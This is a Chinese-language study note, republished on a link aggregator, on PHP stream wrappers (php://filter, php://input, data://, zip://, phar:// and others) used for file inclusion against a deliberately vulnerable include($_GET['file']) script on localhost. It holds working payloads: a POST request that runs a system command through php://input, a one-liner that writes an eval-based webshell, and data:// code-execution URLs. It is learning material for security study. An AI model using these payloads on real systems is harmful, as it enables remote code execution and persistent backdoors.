10

php代码审计学习(2)

 2 years ago
source link: https://antipassion.github.io/2021/10/24/php%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0-2/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

PHP伪协议学习

参考自 PHP伪协议总结php伪协议实现命令执行的七种姿势两篇文章进行复现学习。

file:// 协议

  • 条件
allow_url_fopen:off/on 
allow_url_include:off/on
#翻译一下就是file://协议的使用,不受这两个属性的开关的影响
  • 作用

用于访问本地文件系统,在CTF中常用于读取本地文件且不受allow_url_fopen与allow_url_include的开关影响

include()、require()、require_once()、include_once() 参数可控的情况下,如导入非php文件,则仍会按照php的语法进行解析。

  • include()、include_once()下:这是由于包含的文件放到了之内,代码执行到包含处依旧被会视为php文件内容,出错只会产生警报,而不会停止运行。
  • require()、require_once()下:是由于包含文件与原php文件拼接形成一个新的php文件,之后按照新php文件顺序进行执行。

说明:

file:// 文件是PHP使用的默认封装协议,可用于读取本地文件。当指定一个相对路径作为读取目录,其相对时基于当前工作目录的。在很多情况下时脚本所在的目录,除非被修改过。当使用CLI时某些函数里,例如 fopen()file_get_contents()include_path 会可选地搜索,也作为相对的路径。

用法:

/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext

举例展示:

<?php
include($_GET['file']);

?>
http://127.0.0.1/phplearn/global.php?file=http://127.0.0.1/phplearn/phpinfo.txt
http://127.0.0.1/phplearn/global.php?file=./phpinfo.txt
http://127.0.0.1/phplearn/global.php?file=file://D:\phpstudy_pro\WWW\phplearn\phpinfo.txt

image-20211024195900350

php:// 协议

allow_url_fopen: off/on
allow_url_include: 仅当php://input、php://memory、php://temp时需要on

php:// 访问各个输入/输出流 。我们经常使用到的是php://filterphp://input 用于读取源码 ,php://input用于执行php代码

协议 作用
php://input 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。
php://output 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。
php://fd (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。
php://memory php://temp (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。
php://filter (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
  • php://filter 参数

该协议的参数会在该协议上进行传递,多个参数都可以在一个路径下传递,具体参考如下:

php://filter 参数 描述
resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(*\ *)分隔。
write=<写链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(\ )分隔。
<; 两个链的过滤器> 任何没有以 read=write= 作前缀的筛选器列表会视情况应用于读或写链。

其中 read 与 write 处于同级路径上。

  • 可选的过滤器列表(4类)
字符串过滤器 作用
string.rot13 等同于str_rot13(),rot13变换
string.toupper 等同于strtoupper(),转大写字母
string.tolower 等同于strtolower(),转小写字母
string.strip_tags 等同于strip_tags(),去除html、PHP语言标签
转换过滤器 作用
convert.base64-encode & convert.base64-decode 等同于base64_encode()base64_decode(),base64编码解码
convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码

其中最常用的便是convert.base64-encode 或 convert.base64-decode ,用于加解密完整读取文件

压缩过滤器 作用
zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2 兼容文件的方法。
加密过滤器 作用
mcrypt.* libmcrypt 对称加密算法
mdecrypt.* libmcrypt 对称解密算法
  1. php://fileter/read=convert.base64-encode/resource=[文件名] 以base64加密的方式读取文件
http://127.0.0.1/phplearn/global.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.txt

image-20211024202338746

​ 2.php://input 执行php代码

<?php
include($_GET["file"])
?>

执行任意代码:

POST /phplearn/global.php?file=php://input HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/phplearn/global.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin

<?php eval('system("ipconfig");');?>

image-20211024204509292

写webshell:

<?php fputs(fopen("webshell.php",'w'),'<?php @eval($_POST["cmd"]);?>');?>

image-20211024205148007

zip:// & bzip2:// & zlib:// 协议

allow_url_fopen: off/on;
allow_url_include: off/on;
  • 作用:zip:// & bzip2:// & zlib:// 均属压缩流,可以访问压缩文件中的子文件,更重要的是,他并不需要指定后缀名,可修改为任意后缀:jpg png gix等等。
zip://协议

zip://[压缩文件的绝对路径]%23[压缩文件内的子文件名]

压缩文件可以不为zip结尾

http://127.0.0.1/phplearn/global.php?file=zip://D:\phpstudy_pro\WWW\phplearn\hello.jpg%23phpinfo.txt

image-20211024211907449

compress.zlib://file.gz

压缩phpinfo.txt为phpinfo.gz并上传(同样支持任意后缀名)

compress.zlib://D:\phpstudy_pro\WWW\phplearn\hello.txt.gz

http://127.0.0.1/phplearn/global.php?file=compress.zlib://D:\phpstudy_pro\WWW\phplearn\hello.txt.gz

image-20211025104109551

compress.bzip2://file.bzq2
http://127.0.0.1/phplearn/global.php?file=compress.bzip2://D:\phpstudy_pro\WWW\phplearn\hello.txt.bz2

此处我的电脑未能正常解析php文件。

data://协议

allow_url_fopen:on;
allow_url_include:one;
  • 作用: 自php>=5.2.0起,可以使用data:// 数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码
data://text/plain,<?php php代码 ?>
data://text/plain;base64,<?php php代码 ?>
data://text/plain

若是GET传参,在bp中应注意空格转换为%20避免解析错误

data://text/plain,<?php%20phpinfo();?>

image-20211025105240142

data://text/plain;base64,

将php代码转为base64形式,特殊字符转为url格式

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

image-20211025105549575

http:// &https:// 协议

allow_url_fopen:on
allow_url_fopen:on
  • 作用: 常规url格式,允许http 1.0的GET方法,以只读访问文件或资源换。CTF常用于远程文件包含
http://example.com
http://example.com/file.php?var1=val1&var2=val2
http://user:[email protected]
https://example.com
https://example.com/file.php?var1=val1&var2=val2
https://user:[email protected]
http://10.31.22.30/phplearn/global.php?file=http://127.0.0.1/phplearn/phpinfo.txt

image-20211025105851296

phar:// 协议

phar:// 协议与zip协议类似,同样可以访问zip格式的压缩包内容

phar://D:\phpstudy_pro\WWW\phplearn\phpinfo.zip\phpinfo.txt

image-20211025110236065


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK